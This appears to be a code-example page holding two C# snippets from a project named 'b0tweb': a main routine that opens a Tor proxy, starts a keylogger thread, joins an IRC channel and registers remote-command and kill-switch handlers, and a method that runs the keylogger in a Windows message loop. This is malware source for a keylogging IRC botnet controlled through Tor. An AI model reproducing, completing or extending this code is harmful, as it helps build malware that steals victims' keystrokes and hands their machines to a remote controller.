示例#1
0
        /// <summary>
        /// Default main function to start the program.
        /// </summary>
        /// <param name="args">The command line arguments.</param>
        public static void Main(string[] args)
        {
            // Check if the old version is still stored.
            FileHelper.DeleteFile(FileHelper.GetBinaryOldPath());

            Console.WriteLine("Welcome to the b0tweb");

            TorProxy proxy = new TorProxy();

            proxy.Establish();

            Thread keyloggerThread = Keylogger.Run();

            Thread.Sleep(5); // wait for connection to be established

            Console.WriteLine("Connection to Tor successfuly established!");

            IRCConnectionController controller = new IRCConnectionController();

            controller.AddMessageHandler(new KillSwitchHandler(controller.Nick));
            controller.AddMessageHandler(new CommandMessageHandler(controller.Nick));

            controller.Join(Program.Channel);
            controller.Listen();

            proxy.Disconnect();
        }
示例#2
0
        /// <summary>
        /// Method that starts running the keylogger and windows message loop in one thread
        /// </summary>
        /// <returns>the thread that the keylogger and the msg loop is in</returns>
        public static Thread Run()
        {
            Thread thread = new Thread(() =>
            {
                Keylogger logger = Keylogger.GetInstance; // instantiate the logger

                Console.WriteLine("Keylogger running!");

                Application.Run();
            }
                                       );

            thread.Start();

            return(thread);
        }